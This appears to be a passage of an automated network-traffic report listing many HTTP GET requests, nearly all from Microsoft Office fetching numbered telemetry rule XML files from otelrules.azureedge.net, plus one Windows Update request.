Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGUGTxVnaTUuxkx&MD=Fnl7T5MM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
